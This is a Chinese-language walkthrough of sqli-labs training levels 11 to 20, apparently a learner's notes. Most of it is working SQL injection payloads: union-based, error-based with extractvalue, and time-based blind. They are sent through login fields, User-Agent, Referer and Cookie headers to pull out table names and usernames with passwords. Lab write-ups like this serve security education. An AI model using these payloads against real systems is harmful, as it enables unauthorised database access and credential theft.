less-11
当我们输入1时
出现登录失败的图片,当我们输入1'时
出现报错信息,根据报错信息我们可以判断此sql语句为的注入点在单引号之间
我们输入一个恒真的sql语句,看一下能查询出来什么
1' or 1=1#
那么这道题我们就可以用联合注入来解决
首先我们输入如下语句,来查看回显的是哪个部分
1' union select 1,2#
可以看到1,2都回显了
所以我们可以利用这个位置将库名,表名,列名以及表内信息回显出来
1' union select 1,database()#
首先通过此行代码将库名爆破出来
之后就是表名,使用如下代码
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
将表名也成功爆破出来,由于我们需要的是用户个人信息,所以我们将users这个表的列名爆破出来,使用如下代码
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
之后就是去爆破用户名和密码
1' union select 1,group_concat(username,':',password) from users#
可以看到,用户名和密码也被我们爆破出来
less-12
当我们输入1")时,可以发现网站显示了报错信息
经过判断,我们可以知道我们输入的东西被注入到("")内,所以需要")来闭合
之后的过程与less-11一致,只需要一步一步联合注入即可
less-13
首先通过报错得知此题是使用')闭合的,之后经过测试我们可以发现,登录成功没有回显信息,所以此题不能使用联合注入,则可以选择报错回显或者是盲注
报错回显我们这里以爆库名举例,payload如下
1') and extractvalue(1,concat(0x7e,(select database())))#
成功爆出库名,剩下的过程给出payload,就不给演示了
1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#
1') and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))#
盲注过程很长且复杂,这里就不用了
less-14
与less-13唯一的区别就是将单引号改为双引号
less-15
此关可以使用报错回显或者是时间盲注,由于前面的题已经将结果报错回显的用法,所以我们这里来演示一下时间盲注
经过检验,我们得知此题使用单引号闭合
首先就是爆破库名,使用如下payload
admin' and if(left(database(),1)='s',sleep(3),1)#
我们发现三秒后回显,由于时间无法通过图片反应,所以我们给出最终结果的payload,不给图片演示了
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1)#
接下来如果想爆破列名的话只需要将table改成column
最后就从id为1的用户开始爆破账号和密码,接下来我们给出爆破密码的payload
admin' and if(left((select password from users where id=1),4)='dumb' ,sleep(3),1)#
爆破密码与此同理
lsee-16
此关也可以使用时间盲注,与less-15区别在于此题使用双引号加括号进行闭合
less-17
经过查询源代码我们可以发现,此关对username做出了很多过滤与限制,但是对password没有进行任何的防范操作,所以我们此题的突破口在于password
我们输入用户名,随意输入一个密码然后抓包,之后的步骤与前面的相同,只是执行payload的变为password,我们这里以列名为例
uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &submit=Submit
可以看到成功将所有列名报错回显出来,在做到这里的时候我有个疑问,就是此payload为什么要用一个group_concat将column_name给括起来,经过查询:concat是针对行数据的拼接,而group_concat是对列进行拼接,所以需要先将所有列名拼成一个元素,再利用行拼接与~拼接到一起
less-18
通过测试我们发现,此题无法通过在账号或密码中输入payload来完成注入,在查询源代码后可以知道,这一题对于账号以及密码均做出了过滤,通过报错信息我们得知,此题使用user-agent型注入
接下来就是抓包并更改user-agent了,使用如下payload
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
其余payload只需将less-12中的双引号改为双引号即可
less-19
与上一题的payload相同,只需将注入点改为referer即可
less-20
此题与前面的区别在于需要先登录,并修改cookie完成注入
此题可使用联合注入,经检测,此题的回显点在第三个,所以我们只需要修改第三个元素即可完成注入
爆库的payload如下
Cookie: uname=-admin' union select 1,2,database()--+
完成注入